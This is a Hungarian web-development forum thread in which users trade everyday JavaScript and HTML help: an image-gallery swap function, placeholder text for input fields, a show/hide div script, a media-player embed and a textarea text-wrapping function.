    Annyi előrelépést sikerült elérni, hogy egy pillanatra láthatóan a JÓ HELYEN jeleníti meg a képeket, VISZONT olyan szempontból helytelen a működése, hogy azonos ablakban külön megnyitja a képet, NEM a megadott keretben, pedig utóbbi helyen, ugyanazon az oldalon kellene megjelennie :F.
    Még azelőtt látom egy nagyon rövid blikkre, hogy jó helyen jelenik meg a kép, amielőtt a böngésző magát a képet külön megnyitná.

    Megvan. :) Kiderült, hogy több <div id="desc"></div> sor volt, és az nem jó, ha több ugyanolyan id-del rendelkező elem van a kódban... :B (ez valahogy elkerülte a figyelmem) Aztán a további próbálkozások során (amikor nem értettem, mi az oka a hibának) már kiszedtem a "desc" azonosítójú elemet, pedig az mindenképp szükséges a megadott függvény helyes működéséhez, különben az a jelenség áll elő, mint nálam, vagyis hogy új ablakban nyílik meg. Szóval ez is megoldódott.
    Jól elbeszélgetek itt azért magamban... :D
    - Te skizofrén vagy?
    - .... miii?
    - Igen, ti! :))

  • Sk8erPeter
    nagyúr

    Egy-két dolgot javítottam, pl. a függvényt úgy hívom meg, és így helyes, hogy a célhely id-jét aposztrófokkal adom át ('id'):

    <a onclick="return showPic(this, 'placeholder_1')" href="masodik_kep_linkje.jpg">

    És a teljes függvényben a title lehet a desc-é:

    function showPic (whichpic, hova) {
    if (document.getElementById) {
    document.getElementById(hova).src = whichpic.href;
    if (whichpic.title) {
    document.getElementById('desc').childNodes[0].nodeValue = whichpic.title;
    } else {
    document.getElementById('desc').childNodes[0].nodeValue = whichpic.childNodes[0].nodeValue;
    }
    return false;
    } else {
    return true;
    }
    }

    Ez így az egyik oldalon pontosan ugyanazokkal az értékekkel tökéletesen működik, míg egy másikon nem... :F Annyi a különbség, hogy az egyik oldalon "statikusan" nyitom meg az oldalt, a képeket, míg a másiknál a képek elérési útját "dinamikusan" nyitom meg, adatbázisból kapom az adatokat, a képek elérési útját. De ez önmagában még nem kellene, hogy indok legyen, hiszen a forráskódban attól még jól jelenik meg ugyanaz a link...

    Tehát valami lehet az oldalon, ami mintha blokkolná a javascript függvény helyes működését, csak egyelőre nem értem, mi lehet az... :F (az egész oldal forráskódját most nem tudom megmutatni, mert még az oldal nincs kész, és egyelőre nem nagyon akarnám publikálni :D :B)

    Szóval a lényeg, hogy végül is maga a függvényleírás végül is jó, mert van, ahol működik.
    Nálam az egyik oldalnál így is van, a másiknál nem. Mi lehet, ami bezavarhat? Bármilyen ötletet, tippet szívesen fogadok.

    Annyi előrelépést sikerült elérni, hogy egy pillanatra láthatóan a JÓ HELYEN jeleníti meg a képeket, VISZONT olyan szempontból helytelen a működése, hogy azonos ablakban külön megnyitja a képet, NEM a megadott keretben, pedig utóbbi helyen, ugyanazon az oldalon kellene megjelennie :F.
    Még azelőtt látom egy nagyon rövid blikkre, hogy jó helyen jelenik meg a kép, amielőtt a böngésző magát a képet külön megnyitná.

  • Sk8erPeter
    nagyúr

    Ez hellyel-közzel megoldva.
    ____________________ ÚJABB kérdés: :) ____________________

    Ezt a galéria-megjelenítős megoldást szeretném alkalmazni az oldalamon, azzal a különbséggel, hogy a második paraméternek azt adnám meg, hogy melyik id-del rendelkező elemben cserélgesse a képeket.
    Esetemben van egy nagy kép, alatta kisképek, majd egy másik kategóriában megint egy nagy kép, alatta megint kisképek, és így tovább. A kisképekre kattyogva szeretném megjeleníteni azokat a nagykép helyén, a kategóriák szerint, ezért kellene átadnom az id-et.

    Az alábbi módon írtam át a függvényt, de nem működik, mit rontok el?

    function showPic (whichpic, hova)
    {
    if (document.getElementById) {
    document.getElementById(hova).src = whichpic.href;
    if (whichpic.title) {
    document.getElementById(hova).childNodes[0].nodeValue = whichpic.title;
    } else {
    document.getElementById(hova).childNodes[0].nodeValue = whichpic.childNodes[0].nodeValue;
    }
    return false;
    } else {
    return true;
    }
    }

    Úgy hívom meg, hogy (leegyszerűsítve):

    <li><img src="elso_nagy_kep_linkje.jpg" id="placeholder_1" /></li>
    <li>
    <a onclick="return showPic(this, placeholder_1)" href="masodik_kep_linkje.jpg">
    <img src="masodik_kis_kep_linkje.jpg" title="Ez a cím..." /></a>
    </li>
    <div id="desc"></div>

    Ilyenkor a "this" paraméter nem megfelelő? Vagy más a hiba oka?
    Annyit csinál, hogy megnyitja új ablakban, és kész. Pedig a linkelt verzió még IE6 alatt is jól működik.

    Plusz:
    Esetleg az megoldható, hogy még a méreteket is átadjam paraméterrel, és a nagykép azt vegye át? Csak hogy valid is legyen legalább a kód, meg gyorsabban töltődjön be az oldal (ha meg vannak adva a kép méretei)...

    Köszi! :R:R:R

    Egy-két dolgot javítottam, pl. a függvényt úgy hívom meg, és így helyes, hogy a célhely id-jét aposztrófokkal adom át ('id'):

    <a onclick="return showPic(this, 'placeholder_1')" href="masodik_kep_linkje.jpg">

    És a teljes függvényben a title lehet a desc-é:

    function showPic (whichpic, hova) {
    if (document.getElementById) {
    document.getElementById(hova).src = whichpic.href;
    if (whichpic.title) {
    document.getElementById('desc').childNodes[0].nodeValue = whichpic.title;
    } else {
    document.getElementById('desc').childNodes[0].nodeValue = whichpic.childNodes[0].nodeValue;
    }
    return false;
    } else {
    return true;
    }
    }

    Ez így az egyik oldalon pontosan ugyanazokkal az értékekkel tökéletesen működik, míg egy másikon nem... :F Annyi a különbség, hogy az egyik oldalon "statikusan" nyitom meg az oldalt, a képeket, míg a másiknál a képek elérési útját "dinamikusan" nyitom meg, adatbázisból kapom az adatokat, a képek elérési útját. De ez önmagában még nem kellene, hogy indok legyen, hiszen a forráskódban attól még jól jelenik meg ugyanaz a link...

    Tehát valami lehet az oldalon, ami mintha blokkolná a javascript függvény helyes működését, csak egyelőre nem értem, mi lehet az... :F (az egész oldal forráskódját most nem tudom megmutatni, mert még az oldal nincs kész, és egyelőre nem nagyon akarnám publikálni :D :B)

    Szóval a lényeg, hogy végül is maga a függvényleírás végül is jó, mert van, ahol működik.
    Nálam az egyik oldalnál így is van, a másiknál nem. Mi lehet, ami bezavarhat? Bármilyen ötletet, tippet szívesen fogadok.

  • Sk8erPeter
    nagyúr

    Hali!
    A TinyMCE használata miatt egy input és textarea mezőkkel teli oldalon a tabindex sorrendje a textarea-k esetén (ezekre vonatkozik a TinyMCE használata) az összes tabindex legvégére kerül, tehát hiába van beállítva néhány textarea nagyjából a közepére az összes tabindex-nek, aktív TinyMCE mellett (ha kilövöm, nincs para) már a Tab lenyomására átugrik a soron következő számú input box-ra, majd a LEGVÉGÉN kerül bele a kurzor a textarea-kba. (itt írtam részletesebben)
    Az az érdekes, hogy ha egyáltalán nem állítok be tabindex-eket, akkor aktív TinyMCE mellett is a sorrend. Amint viszont beállítom szépen sorba a tabindex-et, a textarea a Tab sorrend végére kerül, akármilyen számot állítok is.

    Egy másik topicban azt a tanácsot kaptam, hogy írjak egy onload javascriptet, ami rendberakja a tabindex-et.
    Tudnátok ebben segíteni?
    Köszi! :R

    Ez hellyel-közzel megoldva.
    ____________________ ÚJABB kérdés: :) ____________________

    Ezt a galéria-megjelenítős megoldást szeretném alkalmazni az oldalamon, azzal a különbséggel, hogy a második paraméternek azt adnám meg, hogy melyik id-del rendelkező elemben cserélgesse a képeket.
    Esetemben van egy nagy kép, alatta kisképek, majd egy másik kategóriában megint egy nagy kép, alatta megint kisképek, és így tovább. A kisképekre kattyogva szeretném megjeleníteni azokat a nagykép helyén, a kategóriák szerint, ezért kellene átadnom az id-et.

    Az alábbi módon írtam át a függvényt, de nem működik, mit rontok el?

    function showPic (whichpic, hova)
    {
    if (document.getElementById) {
    document.getElementById(hova).src = whichpic.href;
    if (whichpic.title) {
    document.getElementById(hova).childNodes[0].nodeValue = whichpic.title;
    } else {
    document.getElementById(hova).childNodes[0].nodeValue = whichpic.childNodes[0].nodeValue;
    }
    return false;
    } else {
    return true;
    }
    }

    Úgy hívom meg, hogy (leegyszerűsítve):

    <li><img src="elso_nagy_kep_linkje.jpg" id="placeholder_1" /></li>
    <li>
    <a onclick="return showPic(this, placeholder_1)" href="masodik_kep_linkje.jpg">
    <img src="masodik_kis_kep_linkje.jpg" title="Ez a cím..." /></a>
    </li>
    <div id="desc"></div>

    Ilyenkor a "this" paraméter nem megfelelő? Vagy más a hiba oka?
    Annyit csinál, hogy megnyitja új ablakban, és kész. Pedig a linkelt verzió még IE6 alatt is jól működik.

    Plusz:
    Esetleg az megoldható, hogy még a méreteket is átadjam paraméterrel, és a nagykép azt vegye át? Csak hogy valid is legyen legalább a kód, meg gyorsabban töltődjön be az oldal (ha meg vannak adva a kép méretei)...

    Köszi! :R:R:R

  • germol
    csendes tag

    HAli!
    Az lenne a feladat, hogy egy JS-tel kiszedni egy weboldalból kiszedni néhány stringet, adatot. Pl az imdb-ból az évet stb...
    Találtam néhány ilyen scriptet, function-t, és a filmadatbázisprogik is valami ilyet csinálnak

    LineNr := FindLine('perc, ', Page, 0);
    if LineNr > -1 then
    begin
    Line := Page.GetString(LineNr);
    BeginPos := pos('perc, ', Line)+6;
    Value := copy(Line, BeginPos, 4);
    Value2 := Copy(Value, 1, 2);
    if (Value2='19') or (Value2='20') or (Value2='21') then
    SetField(fieldYear, Value);
    end;

    A problémám, azon felül, hogy még nem tudom, hogyan fogom össze kovácsolni az összeszedett kódrészeket, hogy
    ezt az egészet egy könyvjelzőbe kéne rakni, mint a sztaki-s fordító script.

    Ha ez meg lenne akkor a kinyert adatokat el kellene tárolni, pl egy txt fájlba, hozzá írva a a végéhez...
    Ha valaki tudna segíteni összerakni, megköszönöm.
    Persze lehet , hogy más nyelv jobb megolás erre, nem tudom

  • Sk8erPeter
    nagyúr

    Hali!
    A TinyMCE használata miatt egy input és textarea mezőkkel teli oldalon a tabindex sorrendje a textarea-k esetén (ezekre vonatkozik a TinyMCE használata) az összes tabindex legvégére kerül, tehát hiába van beállítva néhány textarea nagyjából a közepére az összes tabindex-nek, aktív TinyMCE mellett (ha kilövöm, nincs para) már a Tab lenyomására átugrik a soron következő számú input box-ra, majd a LEGVÉGÉN kerül bele a kurzor a textarea-kba. (itt írtam részletesebben)
    Az az érdekes, hogy ha egyáltalán nem állítok be tabindex-eket, akkor aktív TinyMCE mellett is a sorrend. Amint viszont beállítom szépen sorba a tabindex-et, a textarea a Tab sorrend végére kerül, akármilyen számot állítok is.

    Egy másik topicban azt a tanácsot kaptam, hogy írjak egy onload javascriptet, ami rendberakja a tabindex-et.
    Tudnátok ebben segíteni?
    Köszi! :R

  • Sk8erPeter
    nagyúr

    Mondjuk itt van egy hiba, lehet, ez a gond:
    var acepremier1="2009,9,25"
    majd a függvény:
    function countdown(yr,m,d){

    A gond az, hogy a függvénynek 3 paraméter van megadva (yr,m,d), de amikor az acepremier1 változót adod meg neki, az csak egy paraméter, azt veszi az évnek, ami hibás érték. Bontsd szét háromra, pl. így:

    var acepremier1yr = "2009";
    var acepremier1m = "9";
    var acepremier1d = "25";

    countdown(acepremier1yr,acepremier1m,acepremier1d);

    Szerintem így működni fog.

    Ebben az esetben miért kell az idézőjel? Nem az lehet a gond, hogy idézőjellel megadva stringnek értelmezi, nem pedig számnak, és ezért nem számol vissza?

  • Sk8erPeter
    nagyúr

    <form method="get"
    onsubmit="for(i=0;i<this.elements.length;i++) with(this.elements[i]) if(type == 'text' && value == defaultValue) value=''">
    <input type="text" value="Search..."
    onfocus="if(this.value == this.defaultValue) this.value = ''"
    onblur="if(this.value == '') this.value = this.defaultValue" />
    <br>
    <input type="submit" />
    </form>

    Persze lehet külön függvénybe is rakni a kódrészleteket, de ez még kb. az a mennyiség, ami szerintem nem teszi teljesen átláthatatlanná a kódot, így maradhat a html tag event handlerében.

    Köszi, kipróbálom! ;) :R

  • fordfairlane
    veterán

    OK, akkor az lesz - de ha csupán egyetlen szövegmező van (pl. a keresésre), és szeretném ezt az üresküldős módszert használni, akkor már arra is külön függvényt kell csinálni- pl. mint ami itt PH-n is van a "gyorskeresés" mezőnél? Itt egy onsubmittel oldja meg.
    Konkrétan itt PH-n ez vonatkozik a gyorskeresésre:

    <form action="/tema/javascript_topic/keres.php" method="get" onsubmit="if(eraseDef(sfor_all)) return prevDef(event);">
    <input type="text" name="sfor_all" value="gyorskeresés" alt="keresendő szavak" tabindex="1" onfocus="eraseDef(this);" />
    <input class="submit" type="submit" value="OK" tabindex="1" />
    </form>

    (itt pedig a függvénydefiníció)

    <form method="get"
    onsubmit="for(i=0;i<this.elements.length;i++) with(this.elements[i]) if(type == 'text' && value == defaultValue) value=''">
    <input type="text" value="Search..."
    onfocus="if(this.value == this.defaultValue) this.value = ''"
    onblur="if(this.value == '') this.value = this.defaultValue" />
    <br>
    <input type="submit" />
    </form>

    Persze lehet külön függvénybe is rakni a kódrészleteket, de ez még kb. az a mennyiség, ami szerintem nem teszi teljesen átláthatatlanná a kódot, így maradhat a html tag event handlerében.

  • Sk8erPeter
    nagyúr

    Meg lehet oldani, de ez megbonyolítja a scriptet. Ezt a javascriptes törlő módszert tipikusan akkor szokás használni, ha egy-két form mező van csak, és helyszűke van az oldalon. Méretes kérdőívnél sokkal egyszerűbb a mező mellé - fölé kiírni a címkét.

    OK, akkor az lesz - de ha csupán egyetlen szövegmező van (pl. a keresésre), és szeretném ezt az üresküldős módszert használni, akkor már arra is külön függvényt kell csinálni- pl. mint ami itt PH-n is van a "gyorskeresés" mezőnél? Itt egy onsubmittel oldja meg.
    Konkrétan itt PH-n ez vonatkozik a gyorskeresésre:

    <form action="/tema/javascript_topic/keres.php" method="get" onsubmit="if(eraseDef(sfor_all)) return prevDef(event);">
    <input type="text" name="sfor_all" value="gyorskeresés" alt="keresendő szavak" tabindex="1" onfocus="eraseDef(this);" />
    <input class="submit" type="submit" value="OK" tabindex="1" />
    </form>

    (itt pedig a függvénydefiníció)

  • fordfairlane
    veterán

    Ja, és még egy: azt szeretném, hogy amennyiben elküldésnél megmarad az alapértelmezett érték (tehát azóta nem módosította a felhasználó), akkor ÜRES értéket küldjön el.
    Lehet ilyet alkalmazni az összes input mezőre? Tehát hogy ha bármely mezőnél az alapértelmezett érték marad, akkor ott üres értéket küldjön? :F

    Meg lehet oldani, de ez megbonyolítja a scriptet. Ezt a javascriptes törlő módszert tipikusan akkor szokás használni, ha egy-két form mező van csak, és helyszűke van az oldalon. Méretes kérdőívnél sokkal egyszerűbb a mező mellé - fölé kiírni a címkét.

  • Sk8erPeter
    nagyúr

    Jaaa, hogy ez ennyire egyszerű? :D Ó, nagyon jó, köszönöm ismét, fordfairlane! :) :R
    Te mindig mutatsz valami tök egyszerű kódot, ami jól is működik. :K Respect! :R

    Ja, és még egy: azt szeretném, hogy amennyiben elküldésnél megmarad az alapértelmezett érték (tehát azóta nem módosította a felhasználó), akkor ÜRES értéket küldjön el.
    Lehet ilyet alkalmazni az összes input mezőre? Tehát hogy ha bármely mezőnél az alapértelmezett érték marad, akkor ott üres értéket küldjön? :F

  • Sk8erPeter
    nagyúr

    <input type="text" value="Search..."
    onfocus="if(this.value == this.defaultValue) this.value = ''"
    onblur="if(this.value == '') this.value = this.defaultValue" />

    Jaaa, hogy ez ennyire egyszerű? :D Ó, nagyon jó, köszönöm ismét, fordfairlane! :) :R
    Te mindig mutatsz valami tök egyszerű kódot, ami jól is működik. :K Respect! :R

  • animatrix11
    őstag

    <param name="uiMode" value="mini" />

    helyett

    <param name="uiMode" value="full" />

    az is jó ha tudtok más lejátszót esetleg ami használhatóbb

    Ha át tudod konvertálni a videót flv formátumba, akkor érdemes inkább úgy, mert akkor nem kell hozzá telepített médiaplayer a kliensgépre, csak flash.

    átirtam, mostmár megjelenik a csúszka, de csak mutatja hogy éppen hol tart, de előre ugrani nem tudok benne, monjuk láttam már ilyet ez valami media player betegség

    flashben hogyan tudom felrakni? nem értek az egészhez annyira, frontpage-ben csinálom

    köszi :R

  • Louloudaki
    aktív tag

    tudtok olyan előre megírt scriptet ami a következőt csinálja?
    oldal fejlécében van egy kép és azt cseréli monnyuk 5 másodpercenként valami egyszerű effekttel? tehát nem galéria kell thumbnail listával stb csak ott egy kép helyben ami időközönként lecserélődik másra. guglival nem nagyon találtam csak galériákat.

  • fordfairlane
    veterán

    Enyémre valamit, kedves rockdetektív?

    Nem tudom, nem nagyon használtam helyi gépen html megoldásokat. Helyi Jscript / VBScript hozzáfér a FileSystemObject-en keresztül sokmindenhez, de html-be ágyazott javascript szerintem nem, legalábbis alaphelyzetben.

  • fordfairlane
    veterán

    Hali!
    Viszonylag egyszerű kérdésem van, form-on belül olyan input mezőket szeretnék, ahol van egy megadott szöveg, ha rákattintok, eltűnik, mint itt, PH-n a gyorskeresés mezőben - ennek a működése a PH-s js-forráskódból könnyen megérthető (function eraseDef(txt)), működik is. De én olyat szeretnék, hogy amennyiben a júzer már egyszer belekattintott az input mezőbe, de mégis üresen hagyta, és átkattint máshova, akkor jelenjen meg ismét a "segéd"szöveg.
    Ja, de ami fontos, hogy amennyiben valaki mégis változtatott az alapértelmezett szövegen (beírt valamit az input mezőbe), akkor máshova kattintásnál azért ne írja felül ismét az alapértelmezett szöveggel azt az információt, amit már azóta begépelt :D

    Köszi! :) :R

    <input type="text" value="Search..."
    onfocus="if(this.value == this.defaultValue) this.value = ''"
    onblur="if(this.value == '') this.value = this.defaultValue" />

  • Sk8erPeter
    nagyúr

    Hali!
    Viszonylag egyszerű kérdésem van, form-on belül olyan input mezőket szeretnék, ahol van egy megadott szöveg, ha rákattintok, eltűnik, mint itt, PH-n a gyorskeresés mezőben - ennek a működése a PH-s js-forráskódból könnyen megérthető (function eraseDef(txt)), működik is. De én olyat szeretnék, hogy amennyiben a júzer már egyszer belekattintott az input mezőbe, de mégis üresen hagyta, és átkattint máshova, akkor jelenjen meg ismét a "segéd"szöveg.
    Ja, de ami fontos, hogy amennyiben valaki mégis változtatott az alapértelmezett szövegen (beírt valamit az input mezőbe), akkor máshova kattintásnál azért ne írja felül ismét az alapértelmezett szöveggel azt az információt, amit már azóta begépelt :D

    Köszi! :) :R

  • eziskamu
    addikt

    <param name="uiMode" value="mini" />

    helyett

    <param name="uiMode" value="full" />

    az is jó ha tudtok más lejátszót esetleg ami használhatóbb

    Ha át tudod konvertálni a videót flv formátumba, akkor érdemes inkább úgy, mert akkor nem kell hozzá telepített médiaplayer a kliensgépre, csak flash.

    Enyémre valamit, kedves rockdetektív?

  • fordfairlane
    veterán

    sziasztok

    Segítség kéne, nem vagyok benne a témában, weboldab épeitett media playert használok, működik is, de egy gond nem tudok beletekeni a videóba, a "csik" ott van, de a kis csúszka nem jelenik meg mint a többi lejátszónál :W
    hogy lehetne ezt beállitani hogy működjön? ime a kód

    <object id=player_id15337
    codebase=http://www.microsoft.com/ntserver/netshow/download/en/nsmp2inf.cab#Version=5,1,51,415
    type=application/x-oleobject height=367 standby="Videó töltése..."
    width=452 classid=CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6>
    <param name="url" value="http://sugarsuli.hu/sulioldal/video/tv2.WMV" />
    <param name="autoStart" value="false" />
    <param name="uiMode" value="mini" />
    <param name="PlayCount" value="1" />
    <param name="showControls" value="1" />
    <param name="showStatusBar" value="1" />
    <param name="enableContextMenu" value="0" />
    <param name="stretchToFit" value="0" />
    <param name="Volume" value="100" />
    <embed width="452" height="367"
    autostart="true"
    loop="false" id="player_id15338" uimode="mini" showstatusbar="1" playcount="1" enablecontextmenu="0" showcontrols="1"
    pluginspage="http://www.microsoft.com/windows/mediaplayer/download/default.asp"
    type="video/x-ms-asf-plugin" url="http://sugarsuli.hu/sulioldal/video/tv2.WMV" stretchtofit="0" volume="100" name="player_id15337"/>
    </object>

    előre is thx a help, az is jó ha tudtok más lejátszót esetleg ami használhatóbb :R

    <param name="uiMode" value="mini" />

    helyett

    <param name="uiMode" value="full" />

    az is jó ha tudtok más lejátszót esetleg ami használhatóbb

    Ha át tudod konvertálni a videót flv formátumba, akkor érdemes inkább úgy, mert akkor nem kell hozzá telepített médiaplayer a kliensgépre, csak flash.

  • animatrix11
    őstag

    Őőő láma kérdés. Van ebben egyáltalán JavaScript?

    foglalmam sincs :) beirtam ide is és a php tipokba is, hátha valaki tud rá megoldást

  • eziskamu
    addikt

    sziasztok

    Segítség kéne, nem vagyok benne a témában, weboldab épeitett media playert használok, működik is, de egy gond nem tudok beletekeni a videóba, a "csik" ott van, de a kis csúszka nem jelenik meg mint a többi lejátszónál :W
    hogy lehetne ezt beállitani hogy működjön? ime a kód

    <object id=player_id15337
    codebase=http://www.microsoft.com/ntserver/netshow/download/en/nsmp2inf.cab#Version=5,1,51,415
    type=application/x-oleobject height=367 standby="Videó töltése..."
    width=452 classid=CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6>
    <param name="url" value="http://sugarsuli.hu/sulioldal/video/tv2.WMV" />
    <param name="autoStart" value="false" />
    <param name="uiMode" value="mini" />
    <param name="PlayCount" value="1" />
    <param name="showControls" value="1" />
    <param name="showStatusBar" value="1" />
    <param name="enableContextMenu" value="0" />
    <param name="stretchToFit" value="0" />
    <param name="Volume" value="100" />
    <embed width="452" height="367"
    autostart="true"
    loop="false" id="player_id15338" uimode="mini" showstatusbar="1" playcount="1" enablecontextmenu="0" showcontrols="1"
    pluginspage="http://www.microsoft.com/windows/mediaplayer/download/default.asp"
    type="video/x-ms-asf-plugin" url="http://sugarsuli.hu/sulioldal/video/tv2.WMV" stretchtofit="0" volume="100" name="player_id15337"/>
    </object>

    előre is thx a help, az is jó ha tudtok más lejátszót esetleg ami használhatóbb :R

    Őőő láma kérdés. Van ebben egyáltalán JavaScript?

  • animatrix11
    őstag

    sziasztok

    Segítség kéne, nem vagyok benne a témában, weboldab épeitett media playert használok, működik is, de egy gond nem tudok beletekeni a videóba, a "csik" ott van, de a kis csúszka nem jelenik meg mint a többi lejátszónál :W
    hogy lehetne ezt beállitani hogy működjön? ime a kód

    <object id=player_id15337
    codebase=http://www.microsoft.com/ntserver/netshow/download/en/nsmp2inf.cab#Version=5,1,51,415
    type=application/x-oleobject height=367 standby="Videó töltése..."
    width=452 classid=CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6>
    <param name="url" value="http://sugarsuli.hu/sulioldal/video/tv2.WMV" />
    <param name="autoStart" value="false" />
    <param name="uiMode" value="mini" />
    <param name="PlayCount" value="1" />
    <param name="showControls" value="1" />
    <param name="showStatusBar" value="1" />
    <param name="enableContextMenu" value="0" />
    <param name="stretchToFit" value="0" />
    <param name="Volume" value="100" />
    <embed width="452" height="367"
    autostart="true"
    loop="false" id="player_id15338" uimode="mini" showstatusbar="1" playcount="1" enablecontextmenu="0" showcontrols="1"
    pluginspage="http://www.microsoft.com/windows/mediaplayer/download/default.asp"
    type="video/x-ms-asf-plugin" url="http://sugarsuli.hu/sulioldal/video/tv2.WMV" stretchtofit="0" volume="100" name="player_id15337"/>
    </object>

    előre is thx a help, az is jó ha tudtok más lejátszót esetleg ami használhatóbb :R

  • eziskamu
    addikt

    Üdv. A helyi gépen szeretnék megnyittattni window.open()-el html állományokat, de le szeretném ellenőrízni hogy az adott állomány /elérési út biztosan létezik-e. Van erre valami megoldás?

  • correct7
    csendes tag

    Sziasztok.
    A windowsban van beépített javascript futtató környezet ugye.
    Én egy kis alkalmazást szeretnék készíteni iTunes-hoz, ami konvertál, átnevez stb zenéket.
    Arra nem jöttem rá sehogysem, hogyan lehetne csinálni egy minimalista interface-t az egészhez, ahol mondjuk kiválasztja a felhasználó, hogy mit akar konvertálni, mi legyen a neve, hova kerüljön, stb.

    A válaszokat előre is köszönöm.

  • tildy
    nagyúr

    Sziasztok! Van ötletetek arra, hogy itt miélrt csukódik be annyira hamar a lenyíló csúszkás menü operában és explorerben?
    Nem túl szerencsés.... Viszont muszáj csúszkásnak lennie, mert csak így férne el egy bannerboxba máshol.

  • fordfairlane
    veterán

    "pedig ezen a módon már egyszer próbáltam"
    mármint úgy, hogy

    if(ez.style.display == "block") ez.style.display = "none";
    else ez.style.display = "block";

    és NEM

    if(ez.style.display == "none") ez.style.display = "block";
    else ez.style.display = "none";

    Fura, hogy azelőtt nem működött, pedig frissítettem :D Sebaj, már nem is fogom megérteni. Valami biztos mégis hibádzott. :)

    Nekem is kicsit kaotikusnak tűnt a viselkedése, de aztán elolvastam alaposabban a leírást, és már értem, miért csinálta ezt a dolgot. Az obj.style olvasásakor az inline vagy scriptből beállított stílusdefiníciókat adja vissza. Ha css class-t használtál, akkor hiába volt beállítva az adott elemnek a "display:none", a script az obj.style.display tulajdonságot üresnek látta (tehát sem nem "none", sem nem "block"). Emiatt a feltétel elsőnek sosem teljesül, és az else ág hajtódik végre. Miután azonban a script beállította a "none"-t, minden működött megfelelően.

  • Sk8erPeter
    nagyúr

    Köszönöm, tökéletesen működik! :R
    Amit nem értek: a div-re NEM határoztam meg végül CSS-stílust, és pedig ezen a módon már egyszer próbáltam, de akkor nem működött (akkor nem a visibility cucc maradt benn), szóval nem értem, de a lényeg, hogy eljutottunk odáig, hogy most már nagyon jól működik. :K
    :R

    "pedig ezen a módon már egyszer próbáltam"
    mármint úgy, hogy

    if(ez.style.display == "block") ez.style.display = "none";
    else ez.style.display = "block";

    és NEM

    if(ez.style.display == "none") ez.style.display = "block";
    else ez.style.display = "none";

    Fura, hogy azelőtt nem működött, pedig frissítettem :D Sebaj, már nem is fogom megérteni. Valami biztos mégis hibádzott. :)

  • Sk8erPeter
    nagyúr

    Egyelőre úgy tűnik, nincs más megoldás, csak ha inline style-ba rakod a display property-t. Tehát: <div style="display:none" id="..." class="...">

    vagy a scriptet kell átvariálni, de ez csak akkor lesz jó, ha alapból a blokkok rejtve vannak, fordított esetben megint előjön a hiba

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

    <html>
    <head>
    <title>Untitled</title>
    <style type="text/css">
    .r {
    display:none;
    /* egyeb stilusbeallitasok */
    }
    </style>
    <script type="text/javascript">
    function xshowhide() {
    var ez = document.getElementById("ez");
    if(ez.style.display == "block") ez.style.display = "none";
    else ez.style.display = "block";
    }
    </script>
    </head>
    <body>
    <input type="button" onclick="xshowhide()" value="click" />
    <div class="r" id="ez">...</div>
    </body>
    </html>

    Köszönöm, tökéletesen működik! :R
    Amit nem értek: a div-re NEM határoztam meg végül CSS-stílust, és pedig ezen a módon már egyszer próbáltam, de akkor nem működött (akkor nem a visibility cucc maradt benn), szóval nem értem, de a lényeg, hogy eljutottunk odáig, hogy most már nagyon jól működik. :K
    :R

  • fordfairlane
    veterán

    Szóval itt a div-elrejtős scriptnél a para az, hogy mintha az első klikktől "aktivizálódna", aztán a többi klikknél meg már mindig csak egyszer kell nyomni. De ennek így nem tudom, mi az oka, esetleg meg lehet kerülni valahogy úgy, hogy "gondolja végig" akkor, amikor betöltődik az oldal? :D
    A kétszer kattintós nem annyira elegáns. A linkelt MÁV-os oldalon csak egyszer kell klikkelni, az úgy kényelmesebb.
    Köszi! :R

    Egyelőre úgy tűnik, nincs más megoldás, csak ha inline style-ba rakod a display property-t. Tehát: <div style="display:none" id="..." class="...">

    vagy a scriptet kell átvariálni, de ez csak akkor lesz jó, ha alapból a blokkok rejtve vannak, fordított esetben megint előjön a hiba

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

    <html>
    <head>
    <title>Untitled</title>
    <style type="text/css">
    .r {
    display:none;
    /* egyeb stilusbeallitasok */
    }
    </style>
    <script type="text/javascript">
    function xshowhide() {
    var ez = document.getElementById("ez");
    if(ez.style.display == "block") ez.style.display = "none";
    else ez.style.display = "block";
    }
    </script>
    </head>
    <body>
    <input type="button" onclick="xshowhide()" value="click" />
    <div class="r" id="ez">...</div>
    </body>
    </html>

  • Sk8erPeter
    nagyúr

    Tökéletes, köszönöm! :R
    Amúgy rájöttem, hogy az előbb még benn maradt a div-nél a style="visibility: inline" is, így meg nyilván nem tűnt el... :W
    Mégsem teljesen tökéletes a dolog egyébként: amikor először megjelenítem az oldalt, akkor KÉTSZER kell rákattintani a szövegre ahhoz, hogy megjelenjen a cuccos. A többi kattogtatásnál (tehát miután már egyszer klikkeltem az oldal megjelenése után) elég az egyetlen kattintás. Ennek mi az oka, hogy lehetne ezt a jelenséget megszüntetni?

    Szóval itt a div-elrejtős scriptnél a para az, hogy mintha az első klikktől "aktivizálódna", aztán a többi klikknél meg már mindig csak egyszer kell nyomni. De ennek így nem tudom, mi az oka, esetleg meg lehet kerülni valahogy úgy, hogy "gondolja végig" akkor, amikor betöltődik az oldal? :D
    A kétszer kattintós nem annyira elegáns. A linkelt MÁV-os oldalon csak egyszer kell klikkelni, az úgy kényelmesebb.
    Köszi! :R

  • tildy
    nagyúr

    Ezt a kettőt találtam hirtelenjében - szerkesztői központokból kiindulva - nem google:

    [link]

    [link]

    Remélem, jól asszociáltam a kérdésedre..., s mész velük valamire...

    Ez nagyon jó, de kicsit átírtam.

    function surroundText( textarea , text)
    {
    // Can a text range be created?
    if (typeof(textarea.caretPos) != "undefined" && textarea.createTextRange)
    {
    var caretPos = textarea.caretPos;

    caretPos.text = caretPos.text.charAt(caretPos.text.length - 1) == ' ' ? '<' + text + '>' + caretPos.text + '</' + text + '> ' : '<' + text + '>' + caretPos.text + '</' + text + '>';
    caretPos.select();
    }
    // Mozilla text range wrap.
    else if (typeof(textarea.selectionStart) != "undefined")
    {
    var begin = textarea.value.substr(0, textarea.selectionStart);
    var selection = textarea.value.substr(textarea.selectionStart, textarea.selectionEnd - textarea.selectionStart);
    var end = textarea.value.substr(textarea.selectionEnd);
    var newCursorPos = textarea.selectionStart;
    var scrollPos = textarea.scrollTop;

    textarea.value = begin + '<' + text + '>' + selection + '</' + text + '>' + end;

    if (textarea.setSelectionRange)
    {
    if (selection.length == 0)
